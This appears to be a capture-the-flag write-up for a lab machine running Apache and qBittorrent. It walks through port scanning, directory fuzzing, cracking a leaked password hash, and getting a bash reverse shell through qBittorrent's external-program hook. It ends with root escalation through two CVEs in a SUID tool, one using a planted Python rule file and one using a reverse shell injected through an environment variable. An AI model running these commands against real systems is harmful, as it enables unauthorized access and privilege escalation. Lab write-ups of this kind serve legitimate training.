Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 

Repository files navigation

Shitness torrent WriteUP

1. Reconnaissance

Let's start with port scanning.

sudo nmap -sC -sV -v <ip>

nmap.png

Ok, we can see 3 open ports: 22 ssh, 80 Apache and 8080 another http. This is the answer to the first question.

Now, let's check the web servers.

apache.png

Default Apache page.

qbittorrent-discovery.png

And qbittorrent-nox.

Let's try to bruteforce Apache.

ffuf -w <your_wordlist> -u http://<ip>/FUZZ

ffuf.png

We can see /notes url. Go to it.

notes-dir.png

2 files. In todo.txt we have a hint.

todo.png

We need to find a hash from torrent web ui, and we have another url m@il5_secr3t.

mail-secret.png

We can see several emails.

emails.png

The most interesting is msg_11052026.eml, it has the hash. Let's decrypt it. For example, using CrackStation

crack-hash.png

Pass is lilkillah. Let's try to log in with admin login.

qbittorrent-home.png

Ok, we're in the torrent webui.

2. Initial foothold

Qbittorrent has a Run external program on torrent add, so let's use it for rshell.

/bin/bash -c "/bin/bash -i >& /dev/tcp/<ip>/4444 0>&1"

qbittorrent-run-external.png

And add some magnet url.

magnet.png

We got shell.

start-shell.png

Let's see on /home.

home-dir.png

Bingo! We could see an authorized_keys permission misconfig, so let's use it.

ssh-login.png

We're debian user. Let's get a user flag.

user-flag.png

3. Escalation to root

Let's see on debian's files.

debian-files.png

We have a hint, machine has old version of theshit program. Let's see on it.

suid.png

SUID-bit, nice! Let's see on its version and find CVEs.

version.png

Ok, there are two CVEs: CVE-2025-69257 and CVE-2026-21882. Let's try both.

echo "import sys

def match(*a): 
    print(open('/root/root.txt').read(), file=sys.stderr)

def fix(*b): 
    ..." > .config/theshit/fix_rules/active/q.py
shit

python-exploit.png

Next, let's try second CVE.

SH_PREV_CMD='/bin/bash -c "/bin/bash -i >& /dev/tcp/<ip>/4444 0>&1"' theshit fix

prev-cmd-exploit.png

root-flag-prev-cmd.png

Used by

Contributors